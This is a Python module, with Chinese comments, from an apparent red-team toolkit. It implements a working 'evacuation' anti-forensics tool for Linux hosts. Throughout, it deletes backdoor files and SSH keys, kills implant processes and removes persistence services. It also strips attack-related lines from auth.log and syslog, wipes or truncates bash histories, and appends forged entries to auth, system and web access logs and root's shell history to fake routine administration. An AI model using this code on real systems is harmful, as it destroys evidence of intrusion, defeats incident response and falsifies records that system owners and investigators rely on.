#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
疏散系统 - 紧急情况下的痕迹清理和撤离
支持快速撤离、深度清理和痕迹伪造
"""

import os
import sys
import json
import time
import shutil
import subprocess
import threading
from typing import Dict, List, Tuple, Optional, Any
from dataclasses import dataclass, asdict
from enum import Enum
from datetime import datetime, timedelta
import logging
import glob
import hashlib

# 导入安全属性访问器
try:
    from core.safe_attribute_accessor import safe_getattr, safe_hasattr
except ImportError:
    # 如果导入失败，提供简单的备用实现
    def safe_getattr(obj, attr, default=None):
        return getattr(obj, attr, default)
    
    def safe_hasattr(obj, attr):
        return hasattr(obj, attr)

try:
    from core.utils import color_green, color_yellow, color_red, color_blue
    from modules.redteam.backdoor_verification_engine import BackdoorType, BackdoorConfig
except ImportError as e:
    print("导入模块失败: {}".format(e))


class EvacuationLevel(Enum):
    """撤离级别"""
    FAST = "fast"           # 快速撤离 (10秒内)
    DEEP = "deep"           # 深度撤离 (30秒内)
    FORGE = "forge"         # 痕迹伪造 (可选)


class EvacuationStatus(Enum):
    """撤离状态"""
    NOT_STARTED = "not_started"
    IN_PROGRESS = "in_progress"
    COMPLETED = "completed"
    FAILED = "failed"
    PARTIAL = "partial"


@dataclass
class BackupRecord:
    """备份记录"""
    original_path: str
    backup_path: str
    backup_time: float
    file_hash: str
    restored: bool = False


@dataclass
class CleanupTask:
    """清理任务"""
    task_type: str          # file, process, service, log
    target: str             # 目标路径或名称
    method: str             # 清理方法
    priority: int           # 优先级 (1-10)
    timeout: int = 10       # 超时时间


@dataclass
class EvacuationConfig:
    """撤离配置"""
    backup_dir: str = "/tmp/.system_backup"
    fast_timeout: int = 10
    deep_timeout: int = 30
    enable_shred: bool = True
    enable_log_forge: bool = False
    preserve_system_integrity: bool = True


class EvacuationSystem:
    """撤离系统"""
    
    def __init__(self, config: EvacuationConfig = None):
        self.config = config or EvacuationConfig()
        self.backup_records = []
        self.cleanup_tasks = []
        self.evacuation_status = EvacuationStatus.NOT_STARTED
        
        # 预定义的清理目标
        self._initialize_cleanup_targets()
        
        # 日志配置
        self._setup_logging()
    
    def _setup_logging(self):
        """设置日志"""
        logging.basicConfig(
            level=logging.INFO,
            format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'
        )
        self.logger = logging.getLogger('evacuation_system')
    
    def _initialize_cleanup_targets(self):
        """初始化清理目标"""
        # 文件清理任务
        file_targets = [
            # 后门文件
            ("/root/.ssh/authorized_keys", "backdoor_ssh_keys"),
            ("/tmp/.system_check", "backdoor_script"),
            ("/tmp/.activate", "trigger_file"),
            ("/var/log/.response", "response_log"),
            
            # 工具文件
            ("/tmp/privilegeMaintenance_v1.0", "tool_directory"),
            ("/tmp/status_check.sh", "status_script"),
            ("/tmp/.backup_check", "backup_script"),
            
            # 临时文件
            ("/tmp/.ssh_*", "temp_ssh_files"),
            ("/tmp/.*_backup", "backup_files"),
            ("/var/tmp/.*", "var_temp_files"),
        ]
        
        for file_path, description in file_targets:
            self.cleanup_tasks.append(CleanupTask(
                task_type="file",
                target=file_path,
                method="secure_delete",
                priority=8
            ))
        
        # 进程清理任务
        process_targets = [
            ("python.*privilegeMaintenance", "tool_processes"),
            ("bash.*system_check", "check_processes"),
            (".*heartbeat.*", "heartbeat_processes"),
        ]
        
        for process_pattern, description in process_targets:
            self.cleanup_tasks.append(CleanupTask(
                task_type="process",
                target=process_pattern,
                method="kill_process",
                priority=9
            ))
        
        # 服务清理任务
        service_targets = [
            ("system-monitor", "monitor_service"),
            ("backup-service", "backup_service"),
        ]
        
        for service_name, description in service_targets:
            self.cleanup_tasks.append(CleanupTask(
                task_type="service",
                target=service_name,
                method="stop_disable",
                priority=7
            ))
        
        # 日志清理任务
        log_targets = [
            ("/var/log/auth.log", "auth_log"),
            ("/var/log/syslog", "system_log"),
            ("/var/log/dmesg", "kernel_log"),
            ("/home/*/.bash_history", "bash_history"),
            ("/root/.bash_history", "root_history"),
        ]
        
        for log_path, description in log_targets:
            self.cleanup_tasks.append(CleanupTask(
                task_type="log",
                target=log_path,
                method="selective_clean",
                priority=6
            ))
    
    def create_backup(self, file_path: str) -> bool:
        """创建文件备份"""
        try:
            if not os.path.exists(file_path):
                return True
            
            # 创建备份目录
            backup_dir = safe_getattr(self.config, 'backup_dir', '/tmp/.system_backup')
            os.makedirs(backup_dir, exist_ok=True)
            
            # 生成备份文件名
            timestamp = int(time.time())
            backup_name = "{}_{}.bak".format(os.path.basename(file_path), timestamp)
            backup_path = os.path.join(backup_dir, backup_name)
            
            # 复制文件
            shutil.copy2(file_path, backup_path)
            
            # 计算文件哈希
            file_hash = self._calculate_file_hash(file_path)
            
            # 记录备份
            record = BackupRecord(
                original_path=file_path,
                backup_path=backup_path,
                backup_time=time.time(),
                file_hash=file_hash
            )
            self.backup_records.append(record)
            
            color_green("✅ 备份创建: {} -> {}".format(file_path, backup_path))
            return True
            
        except Exception as e:
            color_red("备份创建失败 {}: {}".format(file_path, e))
            return False
    
    def _calculate_file_hash(self, file_path: str) -> str:
        """计算文件哈希"""
        try:
            with open(file_path, 'rb') as f:
                return hashlib.sha256(f.read()).hexdigest()
        except:
            return ""
    
    def fast_evacuation(self) -> Dict[str, Any]:
        """快速撤离 (10秒内)"""
        color_blue("🚀 开始快速撤离...")
        start_time = time.time()
        self.evacuation_status = EvacuationStatus.IN_PROGRESS
        
        results = {
            'level': 'fast',
            'start_time': start_time,
            'tasks_completed': 0,
            'tasks_failed': 0,
            'errors': []
        }
        
        try:
            # 高优先级任务 (优先级 >= 8)
            high_priority_tasks = [
                task for task in self.cleanup_tasks 
                if task.priority >= 8
            ]
            
            for task in high_priority_tasks:
                fast_timeout = safe_getattr(self.config, 'fast_timeout', 10)
                if time.time() - start_time > fast_timeout:
                    color_yellow("⚠️ 快速撤离超时，停止执行")
                    break
                
                try:
                    success = self._execute_cleanup_task(task, fast_mode=True)
                    if success:
                        results['tasks_completed'] += 1
                    else:
                        results['tasks_failed'] += 1
                        
                except Exception as e:
                    results['tasks_failed'] += 1
                    results['errors'].append("{}: {}".format(task.target, str(e)))
            
            # 清理bash历史
            self._clean_bash_history(fast_mode=True)
            
            # 清理关键日志
            self._clean_critical_logs(fast_mode=True)
            
            elapsed_time = time.time() - start_time
            results['elapsed_time'] = elapsed_time
            
            fast_timeout = safe_getattr(self.config, 'fast_timeout', 10)
            if elapsed_time <= fast_timeout:
                self.evacuation_status = EvacuationStatus.COMPLETED
                color_green("✅ 快速撤离完成 ({}秒)".format(elapsed_time))
            else:
                self.evacuation_status = EvacuationStatus.PARTIAL
                color_yellow("⚠️ 快速撤离部分完成 ({}秒)".format(elapsed_time))
            
        except Exception as e:
            self.evacuation_status = EvacuationStatus.FAILED
            results['errors'].append("快速撤离异常: {}".format(str(e)))
            color_red("❌ 快速撤离失败: {}".format(e))
        
        return results
    
    def deep_evacuation(self) -> Dict[str, Any]:
        """深度撤离 (30秒内)"""
        color_blue("🔥 开始深度撤离...")
        start_time = time.time()
        self.evacuation_status = EvacuationStatus.IN_PROGRESS
        
        results = {
            'level': 'deep',
            'start_time': start_time,
            'tasks_completed': 0,
            'tasks_failed': 0,
            'files_restored': 0,
            'errors': []
        }
        
        try:
            # 首先执行快速撤离
            fast_results = self.fast_evacuation()
            results['tasks_completed'] += fast_results['tasks_completed']
            results['tasks_failed'] += fast_results['tasks_failed']
            results['errors'].extend(fast_results['errors'])
            
            # 恢复系统文件
            deep_timeout = safe_getattr(self.config, 'deep_timeout', 30)
            for record in self.backup_records:
                if time.time() - start_time > deep_timeout:
                    break
                
                try:
                    if self._restore_file(record):
                        results['files_restored'] += 1
                        color_green("✅ 文件恢复: {}".format(record.original_path))
                    else:
                        results['tasks_failed'] += 1
                        
                except Exception as e:
                    results['errors'].append("文件恢复失败 {}: {}".format(record.original_path, str(e)))
            
            # 执行所有清理任务
            remaining_tasks = [
                task for task in self.cleanup_tasks 
                if task.priority < 8
            ]
            
            for task in remaining_tasks:
                if time.time() - start_time > deep_timeout:
                    break
                
                try:
                    success = self._execute_cleanup_task(task, fast_mode=False)
                    if success:
                        results['tasks_completed'] += 1
                    else:
                        results['tasks_failed'] += 1
                        
                except Exception as e:
                    results['tasks_failed'] += 1
                    results['errors'].append("{}: {}".format(task.target, str(e)))
            
            # 安全删除工具残留
            enable_shred = safe_getattr(self.config, 'enable_shred', True)
            if enable_shred:
                self._secure_delete_residuals()
            
            # 覆盖文件元数据
            self._overwrite_metadata()
            
            elapsed_time = time.time() - start_time
            results['elapsed_time'] = elapsed_time
            
            if elapsed_time <= deep_timeout:
                self.evacuation_status = EvacuationStatus.COMPLETED
                color_green("✅ 深度撤离完成 ({}秒)".format(elapsed_time))
            else:
                self.evacuation_status = EvacuationStatus.PARTIAL
                color_yellow("⚠️ 深度撤离部分完成 ({}秒)".format(elapsed_time))
            
        except Exception as e:
            self.evacuation_status = EvacuationStatus.FAILED
            results['errors'].append("深度撤离异常: {}".format(str(e)))
            color_red("❌ 深度撤离失败: {}".format(e))
        
        return results
    
    def forge_traces(self) -> Dict[str, Any]:
        """痕迹伪造"""
        color_blue("🎭 开始痕迹伪造...")
        start_time = time.time()
        
        results = {
            'level': 'forge',
            'start_time': start_time,
            'traces_forged': 0,
            'errors': []
        }
        
        try:
            # 伪造正常运维操作记录
            forge_operations = [
                self._forge_auth_log,
                self._forge_command_history,
                self._forge_system_log,
                self._forge_access_log
            ]
            
            for operation in forge_operations:
                try:
                    if operation():
                        results['traces_forged'] += 1
                        color_green("✅ 痕迹伪造: {}".format(operation.__name__))
                    else:
                        results['errors'].append("痕迹伪造失败: {}".format(operation.__name__))
                        
                except Exception as e:
                    results['errors'].append("{}: {}".format(operation.__name__, str(e)))
            
            elapsed_time = time.time() - start_time
            results['elapsed_time'] = elapsed_time
            
            color_green("✅ 痕迹伪造完成 ({}秒)".format(elapsed_time))
            
        except Exception as e:
            results['errors'].append("痕迹伪造异常: {}".format(str(e)))
            color_red("❌ 痕迹伪造失败: {}".format(e))
        
        return results
    
    def _execute_cleanup_task(self, task: CleanupTask, fast_mode: bool = False) -> bool:
        """执行清理任务"""
        try:
            if task.task_type == "file":
                return self._cleanup_file(task.target, fast_mode)
            elif task.task_type == "process":
                return self._cleanup_process(task.target)
            elif task.task_type == "service":
                return self._cleanup_service(task.target)
            elif task.task_type == "log":
                return self._cleanup_log(task.target, fast_mode)
            else:
                color_yellow("未知任务类型: {}".format(task.task_type))
                return False
                
        except Exception as e:
            color_red("清理任务执行失败 {}: {}".format(task.target, e))
            return False
    
    def _cleanup_file(self, file_pattern: str, fast_mode: bool = False) -> bool:
        """清理文件"""
        try:
            # 处理通配符
            if '*' in file_pattern:
                files = glob.glob(file_pattern)
            else:
                files = [file_pattern] if os.path.exists(file_pattern) else []
            
            for file_path in files:
                if os.path.exists(file_path):
                    if fast_mode:
                        # 快速删除
                        os.remove(file_path)
                    else:
                        # 安全删除
                        if self.config.enable_shred:
                            subprocess.run(['shred', '-u', file_path], 
                                         capture_output=True, timeout=5)
                        else:
                            os.remove(file_path)
                    
                    color_green("  ✅ 删除文件: {}".format(file_path))
            
            return True
            
        except Exception as e:
            color_red("文件清理失败 {}: {}".format(file_pattern, e))
            return False
    
    def _cleanup_process(self, process_pattern: str) -> bool:
        """清理进程"""
        try:
            # 查找匹配的进程
            result = subprocess.run(['pgrep', '-f', process_pattern], 
                                  capture_output=True, text=True)
            
            if result.returncode == 0:
                pids = result.stdout.strip().split('\n')
                for pid in pids:
                    if pid:
                        try:
                            # 尝试优雅终止
                            subprocess.run(['kill', '-TERM', pid], timeout=2)
                            time.sleep(1)
                            
                            # 检查进程是否还存在
                            check_result = subprocess.run(['kill', '-0', pid], 
                                                        capture_output=True)
                            if check_result.returncode == 0:
                                # 强制终止
                                subprocess.run(['kill', '-KILL', pid])
                            
                            color_green("  ✅ 终止进程: {}".format(pid))
                            
                        except Exception as e:
                            color_yellow("  ⚠️ 进程终止失败 {}: {}".format(pid, e))
            
            return True
            
        except Exception as e:
            color_red("进程清理失败 {}: {}".format(process_pattern, e))
            return False
    
    def _cleanup_service(self, service_name: str) -> bool:
        """清理服务"""
        try:
            # 停止服务
            subprocess.run(['systemctl', 'stop', service_name], 
                         capture_output=True, timeout=10)
            
            # 禁用服务
            subprocess.run(['systemctl', 'disable', service_name], 
                         capture_output=True, timeout=10)
            
            # 删除服务文件
            service_file = "/etc/systemd/system/{}.service".format(service_name)
            if os.path.exists(service_file):
                os.remove(service_file)
            
            # 重新加载systemd
            subprocess.run(['systemctl', 'daemon-reload'], 
                         capture_output=True, timeout=10)
            
            color_green("  ✅ 清理服务: {}".format(service_name))
            return True
            
        except Exception as e:
            color_red("服务清理失败 {}: {}".format(service_name, e))
            return False
    
    def _cleanup_log(self, log_pattern: str, fast_mode: bool = False) -> bool:
        """清理日志"""
        try:
            # 处理通配符
            if '*' in log_pattern:
                log_files = glob.glob(log_pattern)
            else:
                log_files = [log_pattern] if os.path.exists(log_pattern) else []
            
            for log_file in log_files:
                if os.path.exists(log_file):
                    if fast_mode:
                        # 快速清理：只删除关键条目
                        self._remove_suspicious_log_entries(log_file)
                    else:
                        # 深度清理：清空或删除
                        if log_file.endswith('.log'):
                            # 清空日志文件
                            with open(log_file, 'w') as f:
                                f.write("")
                        else:
                            # 删除历史文件
                            os.remove(log_file)
                    
                    color_green("  ✅ 清理日志: {}".format(log_file))
            
            return True
            
        except Exception as e:
            color_red("日志清理失败 {}: {}".format(log_pattern, e))
            return False
    
    def _remove_suspicious_log_entries(self, log_file: str):
        """删除可疑日志条目"""
        try:
            # 可疑关键词
            suspicious_keywords = [
                'privilegeMaintenance',
                'backdoor',
                'ssh.*unauthorized',
                'crontab.*tmp',
                'systemctl.*enable.*monitor',
                'python.*exploit'
            ]
            
            # 读取日志文件
            with open(log_file, 'r') as f:
                lines = f.readlines()
            
            # 过滤可疑条目
            clean_lines = []
            for line in lines:
                is_suspicious = False
                for keyword in suspicious_keywords:
                    if keyword.lower() in line.lower():
                        is_suspicious = True
                        break
                
                if not is_suspicious:
                    clean_lines.append(line)
            
            # 写回清理后的内容
            with open(log_file, 'w') as f:
                f.writelines(clean_lines)
            
        except Exception as e:
            color_red("日志条目清理失败 {}: {}".format(log_file, e))
    
    def _clean_bash_history(self, fast_mode: bool = False):
        """清理bash历史"""
        try:
            history_files = [
                '/root/.bash_history',
                '/home/*/.bash_history'
            ]
            
            for pattern in history_files:
                files = glob.glob(pattern)
                for history_file in files:
                    if os.path.exists(history_file):
                        if fast_mode:
                            # 快速清理：删除最后几条记录
                            with open(history_file, 'r') as f:
                                lines = f.readlines()
                            
                            # 保留前面的记录，删除最后10条
                            if len(lines) > 10:
                                with open(history_file, 'w') as f:
                                    f.writelines(lines[:-10])
                        else:
                            # 深度清理：完全清空
                            with open(history_file, 'w') as f:
                                f.write("")
                        
                        color_green("  ✅ 清理历史: {}".format(history_file))
            
            # 清理当前会话历史
            subprocess.run(['history', '-c'], shell=True, capture_output=True)
            
        except Exception as e:
            color_red("bash历史清理失败: {}".format(e))
    
    def _clean_critical_logs(self, fast_mode: bool = False):
        """清理关键日志"""
        try:
            critical_logs = [
                '/var/log/auth.log',
                '/var/log/syslog',
                '/var/log/dmesg'
            ]
            
            for log_file in critical_logs:
                if os.path.exists(log_file):
                    self._remove_suspicious_log_entries(log_file)
                    color_green("  ✅ 清理关键日志: {}".format(log_file))
            
        except Exception as e:
            color_red("关键日志清理失败: {}".format(e))
    
    def _restore_file(self, record: BackupRecord) -> bool:
        """恢复文件"""
        try:
            if os.path.exists(record.backup_path):
                shutil.copy2(record.backup_path, record.original_path)
                record.restored = True
                return True
            return False
            
        except Exception as e:
            color_red("文件恢复失败 {}: {}".format(record.original_path, e))
            return False
    
    def _secure_delete_residuals(self):
        """安全删除工具残留"""
        try:
            # 查找并删除工具相关文件
            tool_patterns = [
                '/tmp/privilegeMaintenance*',
                '/tmp/.*_backup',
                '/var/tmp/.*tool*'
            ]
            
            for pattern in tool_patterns:
                files = glob.glob(pattern)
                for file_path in files:
                    if os.path.exists(file_path):
                        subprocess.run(['shred', '-u', file_path], 
                                     capture_output=True, timeout=5)
                        color_green("  ✅ 安全删除: {}".format(file_path))
            
        except Exception as e:
            color_red("安全删除失败: {}".format(e))
    
    def _overwrite_metadata(self):
        """覆盖文件元数据"""
        try:
            # 创建虚假文件覆盖inode
            dummy_files = []
            for i in range(10):
                dummy_path = "/tmp/.dummy_{}".format(i)
                with open(dummy_path, 'w') as f:
                    f.write("dummy content" * 100)
                dummy_files.append(dummy_path)
            
            # 删除虚假文件
            for dummy_path in dummy_files:
                if os.path.exists(dummy_path):
                    os.remove(dummy_path)
            
            color_green("  ✅ 元数据覆盖完成")
            
        except Exception as e:
            color_red("元数据覆盖失败: {}".format(e))
    
    def _forge_auth_log(self) -> bool:
        """伪造认证日志"""
        try:
            auth_log = "/var/log/auth.log"
            if not os.path.exists(auth_log):
                return True
            
            # 生成正常运维记录
            fake_entries = [
                "{} localhost sudo: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/ls".format(datetime.now().strftime('%b %d %H:%M:%S')),
                "{} localhost sudo: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/ps aux".format(datetime.now().strftime('%b %d %H:%M:%S')),
                "{} localhost sudo: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/netstat -an".format(datetime.now().strftime('%b %d %H:%M:%S'))
            ]
            
            with open(auth_log, 'a') as f:
                for entry in fake_entries:
                    f.write(entry + '\n')
            
            return True
            
        except Exception as e:
            color_red("认证日志伪造失败: {}".format(e))
            return False
    
    def _forge_command_history(self) -> bool:
        """伪造命令历史"""
        try:
            history_file = "/root/.bash_history"
            
            # 正常运维命令
            fake_commands = [
                "ls -la",
                "ps aux | grep apache",
                "netstat -tulpn",
                "df -h",
                "free -m",
                "top",
                "systemctl status nginx",
                "tail -f /var/log/syslog"
            ]
            
            with open(history_file, 'a') as f:
                for cmd in fake_commands:
                    f.write(cmd + '\n')
            
            return True
            
        except Exception as e:
            color_red("命令历史伪造失败: {}".format(e))
            return False
    
    def _forge_system_log(self) -> bool:
        """伪造系统日志"""
        try:
            syslog = "/var/log/syslog"
            if not os.path.exists(syslog):
                return True
            
            # 正常系统事件
            fake_entries = [
                "{} localhost kernel: [12345.678] Normal system operation".format(datetime.now().strftime('%b %d %H:%M:%S')),
                "{} localhost systemd[1]: Started Daily apt download activities.".format(datetime.now().strftime('%b %d %H:%M:%S')),
                "{} localhost cron[1234]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ))".format(datetime.now().strftime('%b %d %H:%M:%S'))
            ]
            
            with open(syslog, 'a') as f:
                for entry in fake_entries:
                    f.write(entry + '\n')
            
            return True
            
        except Exception as e:
            color_red("系统日志伪造失败: {}".format(e))
            return False
    
    def _forge_access_log(self) -> bool:
        """伪造访问日志"""
        try:
            # 常见的web服务器访问日志
            access_logs = [
                "/var/log/apache2/access.log",
                "/var/log/nginx/access.log"
            ]
            
            for log_file in access_logs:
                if os.path.exists(log_file):
                    # 正常访问记录
                    fake_entries = [
                        '127.0.0.1 - - [{0}] "GET / HTTP/1.1" 200 1234'.format(datetime.now().strftime("%d/%b/%Y:%H:%M:%S +0000")),
                        '192.168.1.100 - - [{0}] "GET /admin HTTP/1.1" 200 5678'.format(datetime.now().strftime("%d/%b/%Y:%H:%M:%S +0000"))
                    ]
                    
                    with open(log_file, 'a') as f:
                        for entry in fake_entries:
                            f.write(entry + '\n')
            
            return True
            
        except Exception as e:
            color_red("访问日志伪造失败: {}".format(e))
            return False
    
    def create_cleanup_script(self, script_path: str = "/tmp/cleanup.sh"):
        """创建清理脚本"""
        script_content = '''#!/bin/bash
# 红队撤离脚本

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
EVACUATION_LEVEL="${1:-fast}"

echo "=== 红队撤离脚本 ==="
echo "撤离级别: $EVACUATION_LEVEL"
echo "开始时间: $(date)"
echo

case "$EVACUATION_LEVEL" in
    "fast")
        echo "执行快速撤离..."
        python3 "$SCRIPT_DIR/modules/redteam/evacuation_system.py" --level fast
        ;;
    "deep")
        echo "执行深度撤离..."
        python3 "$SCRIPT_DIR/modules/redteam/evacuation_system.py" --level deep
        ;;
    "forge")
        echo "执行痕迹伪造..."
        python3 "$SCRIPT_DIR/modules/redteam/evacuation_system.py" --level forge
        ;;
    *)
        echo "未知撤离级别: $EVACUATION_LEVEL"
        echo "用法: $0 [fast|deep|forge]"
        exit 1
        ;;
esac

echo
echo "撤离完成时间: $(date)"
echo "=== 撤离脚本结束 ==="
'''
        
        try:
            with open(script_path, 'w') as f:
                f.write(script_content)
            
            os.chmod(script_path, 0o755)
            color_green("✅ 清理脚本已创建: {}".format(script_path))
            
        except Exception as e:
            color_red("清理脚本创建失败: {}".format(e))


def main():
    """主函数"""
    import argparse
    
    parser = argparse.ArgumentParser(description='红队分级撤离系统')
    parser.add_argument('--level', choices=['fast', 'deep', 'forge'], 
                       default='fast', help='撤离级别')
    parser.add_argument('--config', help='配置文件路径')
    
    args = parser.parse_args()
    
    # 创建撤离系统
    config = EvacuationConfig()
    evacuation = EvacuationSystem(config)
    
    # 创建一些测试备份
    test_files = ['/etc/ssh/sshd_config', '/etc/crontab']
    for file_path in test_files:
        if os.path.exists(file_path):
            evacuation.create_backup(file_path)
    
    # 执行撤离
    if args.level == 'fast':
        results = evacuation.fast_evacuation()
    elif args.level == 'deep':
        results = evacuation.deep_evacuation()
    elif args.level == 'forge':
        results = evacuation.forge_traces()
    
    # 输出结果
    print("\n" + "="*50)
    print("撤离结果")
    print("="*50)
    print(json.dumps(results, indent=2, ensure_ascii=False))
    
    # 创建清理脚本
    evacuation.create_cleanup_script()


if __name__ == "__main__":
    main()